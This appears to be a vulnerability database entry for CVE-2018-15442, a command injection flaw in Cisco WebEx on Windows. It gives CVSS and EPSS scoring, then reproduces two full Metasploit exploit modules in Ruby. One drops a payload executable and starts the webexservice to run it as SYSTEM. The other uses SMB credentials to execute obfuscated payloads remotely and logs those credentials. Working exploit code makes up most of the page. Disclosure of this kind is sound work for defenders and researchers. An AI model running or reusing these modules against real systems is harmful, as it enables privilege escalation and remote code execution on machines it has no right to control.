Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-78 |
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.0 |
7.8 |
HIGH |
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
|
| V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 45696
Publication date : 2018-10-24 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Services
include Msf::Post::Windows::Accounts
def initialize(info={})
super( update_info( info,
'Name' => 'WebEx Local Service Permissions Exploit',
'Description' => %q{
This module exploits a flaw in the 'webexservice' Windows service, which runs as SYSTEM,
can be used to run arbitrary commands locally, and can be started by limited users in
default installations.
},
'References' =>
[
['URL', 'https://webexec.org'],
['CVE', '2018-15442']
],
'DisclosureDate' => "Oct 09 2018",
'License' => MSF_LICENSE,
'Author' =>
[
'Jeff McJunkin <jeff.mcjunkin[at]gmail.com>'
],
'Platform' => [ 'win'],
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'SessionTypes' => [ "meterpreter" ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'WfsDelay' => 5,
'ReverseConnectRetries' => 255
},
'DefaultTarget' => 0
))
register_options([
OptString.new("DIR", [ false, "Specify a directory to plant the EXE.", "%SystemRoot%\\Temp"])
])
@service_name = 'webexservice'
end
def validate_arch
return target unless target.name == 'Automatic'
case sysinfo['Architecture']
when 'x86'
fail_with(Failure::BadConfig, 'Invalid payload architecture') if payload_instance.arch.first == 'x64'
vprint_status('Detected x86 system')
return targets[1]
when 'x64'
vprint_status('Detected x64 system')
return targets[2]
end
end
def check_service_exists?(service)
srv_info = service_info(service)
if srv_info.nil?
vprint_warning("Unable to enumerate services.")
return false
end
if srv_info && srv_info[:display].empty?
vprint_warning("Service #{service} does not exist.")
return false
else
return true
end
end
def check
unless check_service_exists?(@service_name)
return Exploit::CheckCode::Safe
end
srv_info = service_info(@service_name)
vprint_status(srv_info.to_s)
case START_TYPE[srv_info[:starttype]]
when 'Disabled'
vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
return Exploit::CheckCode::Safe
when 'Manual'
vprint_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
return Exploit::CheckCode::Safe
when 'Auto'
vprint_good("Service is set to Automatically start...")
end
if check_search_path
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Appears
end
def check_write_access(path)
perm = check_dir_perms(path, @token)
if perm and perm.include?('W')
print_good("Write permissions in #{path} - #{perm}")
return true
elsif perm
vprint_status ("Permissions for #{path} - #{perm}")
else
vprint_status ("No permissions for #{path}")
end
return false
end
def exploit
begin
@token = get_imperstoken
rescue Rex::Post::Meterpreter::RequestError
vprint_error("Error while using get_imperstoken: #{e}")
end
fail_with(Failure::Unknown, "Unable to retrieve token.") unless @token
if is_system?
fail_with(Failure::Unknown, "Current user is already SYSTEM, aborting.")
end
print_status("Checking service exists...")
if !check_service_exists?(@service_name)
fail_with(Failure::NoTarget, "The service doesn't exist.")
end
if is_uac_enabled?
print_warning("UAC is enabled, may get false negatives on writable folders.")
end
# Use manually selected Dir
file_path = datastore['DIR']
@exe_file_name = Rex::Text.rand_text_alphanumeric(8)
@exe_file_path = "#{file_path}\\#{@exe_file_name}.exe"
service_information = service_info(@service_name)
# Check architecture
valid_arch = validate_arch
exe = generate_payload_exe(:arch => valid_arch.arch)
#
# Drop the malicious executable into the path
#
print_status("Writing #{exe.length.to_s} bytes to #{@exe_file_path}...")
begin
write_file(@exe_file_path, exe)
register_file_for_cleanup(@exe_file_path)
rescue Rex::Post::Meterpreter::RequestError => e
# Can't write the file, can't go on
fail_with(Failure::Unknown, e.message)
end
#
# Run the service
#
print_status("Launching service...")
res = cmd_exec("cmd.exe",
"/c sc start webexservice install software-update 1 #{@exe_file_path}")
if service_restart(@service_name)
print_status("Service started...")
else
service_information = service_info(@service_name)
if service_information[:starttype] == START_TYPE_AUTO
if job_id
print_status("Unable to start service, handler running waiting for a reboot...")
while(true)
break if session_created?
select(nil,nil,nil,1)
end
else
fail_with(Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
end
else
fail_with(Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
end
end
end
end
Exploit Database EDB-ID : 45695
Publication date : 2018-10-24 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# Windows XP systems that are not part of a domain default to treating all
# network logons as if they were Guest. This prevents SMB relay attacks from
# gaining administrative access to these systems. This setting can be found
# under:
#
# Local Security Settings >
# Local Policies >
# Security Options >
# Network Access: Sharing and security model for local accounts
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::SMB::Client::WebExec
include Msf::Exploit::Powershell
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'WebExec Authenticated User Code Execution',
'Description' => %q{
This module uses a valid username and password of any level (or
password hash) to execute an arbitrary payload. This module is similar
to the "psexec" module, except allows any non-guest account by default.
},
'Author' =>
[
'Ron <
[email protected]>',
],
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
{
'WfsDelay' => 10,
'EXITFUNC' => 'thread'
},
'References' =>
[
['URL', 'https://webexec.org'],
[ 'CVE', '2018-15442' ],
],
'Payload' =>
{
'Space' => 3072,
'DisableNops' => true
},
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Native upload', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 24 2018'
))
register_options(
[
# This has to be a full path, %ENV% variables are not expanded
OptString.new('TMPDIR', [ true, "The directory to stage our payload in", "c:\\Windows\\Temp\\" ])
])
register_advanced_options(
[
OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
OptInt.new('MAX_LINE_LENGTH', [true, "The length of lines when splitting up the payload", 1000]),
])
end
# This is the callback for cmdstager, which breaks the full command into
# chunks and sends it our way. We have to do a bit of finangling to make it
# work correctly
def execute_command(command, opts)
# Replace the empty string, "", with a workaround - the first 0 characters of "A"
command = command.gsub('""', 'mid(Chr(65), 1, 0)')
# Replace quoted strings with Chr(XX) versions, in a naive way
command = command.gsub(/"[^"]*"/) do |capture|
capture.gsub(/"/, "").chars.map do |c|
"Chr(#{c.ord})"
end.join('+')
end
# Prepend "cmd /c" so we can use a redirect
command = "cmd /c " + command
execute_single_command(command, opts)
end
def exploit
print_status("Connecting to the server...")
connect(versions: [2,1])
print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
smb_login
if not simple.client.auth_user and not datastore['ALLOW_GUEST']
print_line(" ")
print_error(
"FAILED! The remote host has only provided us with Guest privileges. " +
"Please make sure that the correct username and password have been provided. " +
"Windows XP systems that are not part of a domain will only provide Guest privileges " +
"to network logins by default."
)
print_line(" ")
disconnect
return
end
begin
if datastore['SMBUser'].to_s.strip.length > 0
report_auth
end
# Avoid implementing NTLMSSP on Windows XP
# http://seclists.org/metasploit/2009/q1/6
if smb_peer_os == "Windows 5.1"
connect(versions: [1])
smb_login
end
wexec(true) do |opts|
opts[:flavor] = :vbs
opts[:linemax] = datastore['MAX_LINE_LENGTH']
opts[:temp] = datastore['TMPDIR']
opts[:delay] = 0.05
execute_cmdstager(opts)
end
handler
disconnect
end
end
def report_auth
service_data = {
address: ::Rex::Socket.getaddress(datastore['RHOST'],true),
port: datastore['RPORT'],
service_name: 'smb',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_data: datastore['SMBPass'],
username: datastore['SMBUser'].downcase
}
if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP'
credential_data.merge!({
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: datastore['SMBDomain']
})
end
if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
credential_data.merge!({:private_type => :ntlm_hash})
else
credential_data.merge!({:private_type => :password})
end
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
access_level: 'Admin',
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end
Products Mentioned
Configuraton 0
Cisco>>Webex_meetings_desktop >> Version To (excluding) 33.6.4
Cisco>>Webex_productivity_tools >> Version From (including) 32.6.0 To (excluding) 33.0.6
References
